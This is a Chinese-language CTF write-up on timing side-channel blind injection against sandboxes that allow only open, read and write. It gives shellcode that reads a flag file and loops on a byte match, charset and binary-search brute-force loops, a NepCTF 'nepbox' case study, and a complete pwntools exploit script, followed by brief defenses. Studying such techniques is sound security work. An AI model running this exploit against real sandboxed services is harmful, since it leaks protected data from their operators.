ORW:侧信道时间盲注
字数 794 2025-08-22 12:23:30
侧信道时间盲注技术详解
1. 技术原理
侧信道时间盲注是一种在沙箱禁用write等输出函数时,通过时间差来推断信息的攻击技术。其核心原理是:
- 通过shellcode将目标数据(如flag)读取到内存中
- 使用cmp指令逐位比较数据内容
- 根据比较结果控制程序流程:
- 匹配时跳转到死循环(-$2表示跳转到前两条指令)
- 不匹配时正常执行
- 通过测量响应时间差异判断是否进入死循环
2. 技术实现方法
2.1 字符集遍历法
适用于flag字符种类较少的情况,直接比较每个可能的字符。
for i in range(len(flag), 50):
for j in charset:
# 创建新进程/连接
payload = asm(shellcraft.open("flag"))
payload += asm(shellcraft.read(3, 'rsp', 0x80))
shellcode = f'''
mov al, byte ptr[rsi+{i}]
cmp al, {ord(j)}
je $-2 # 匹配时跳转到死循环
ret
'''
payload += asm(shellcode)
# 发送payload并测量响应时间
if response_time > threshold:
flag += j
break
2.2 二分查找法
适用于字符范围较大的情况,效率更高。
for i in range(len(flag), 50):
left, right = 0, 127
while left < right:
mid = (left + right) >> 1
shellcode = f'''
mov al, byte ptr[rsi+{i}]
cmp al, {mid}
ja $-2 # 大于时跳转到死循环
ret
'''
# 发送payload并测量响应时间
if response_time > threshold:
left = mid + 1
else:
right = mid
flag += chr(left)
3. 实战案例:nepbox题目分析
3.1 题目限制
- 禁用execve等危险系统调用
- write参数被篡改,无法直接输出
- 在子进程中执行用户输入的shellcode
3.2 解题步骤
- 使用shellcraft.open和read将flag读入栈内存
- 构造比较shellcode进行逐位爆破
- 通过时间差判断字符是否正确
- 遇到"}"字符时终止爆破
3.3 注意事项
- 远程靶机响应会越来越慢,可能需要重启
- 时间阈值设置:死循环一次约增加2秒响应时间
- 可以增加clean次数来放大时间差
- 爆破结果可能需要多次验证
4. 优化技巧
- 字符集优化:根据题目提示缩小字符范围(如hex字符)
- 时间阈值调整:根据网络状况动态调整
- 错误处理:添加异常处理防止进程崩溃影响爆破
- 并行爆破:对多位同时爆破提高效率
5. 防御措施
- 限制shellcode执行时间
- 随机化内存布局
- 添加指令执行监控
- 对敏感数据访问进行权限控制
6. 完整EXP示例
from pwn import *
import time
context(arch='amd64', os='linux', log_level='debug')
charset = '0123456789abcdef'
flag = 'NepCTF{'
for i in range(len(flag), 50):
for j in charset:
try:
r = remote('target', port, ssl=True)
payload = asm(shellcraft.open("flag"))
payload += asm(shellcraft.read(3, 'rsp', 0x80))
shellcode = f'''
mov al, byte ptr[rsi+{i}]
cmp al, {ord(j)}
je $-2
ret
'''
payload += asm(shellcode)
r.sendlineafter('prompt', payload)
start = time.time()
r.clean(2)
elapsed = time.time() - start
if elapsed > 2: # 阈值根据实际情况调整
flag += j
break
finally:
r.close()
if flag.endswith('}'):
break
print(flag)
7. 总结
侧信道时间盲注是一种在输出受限环境下有效的信息泄露技术,核心在于利用程序执行的时间差作为信息载体。在实际应用中需要根据目标环境调整策略,并注意处理网络延迟等干扰因素。防御方面则应从限制执行时间和监控异常行为入手。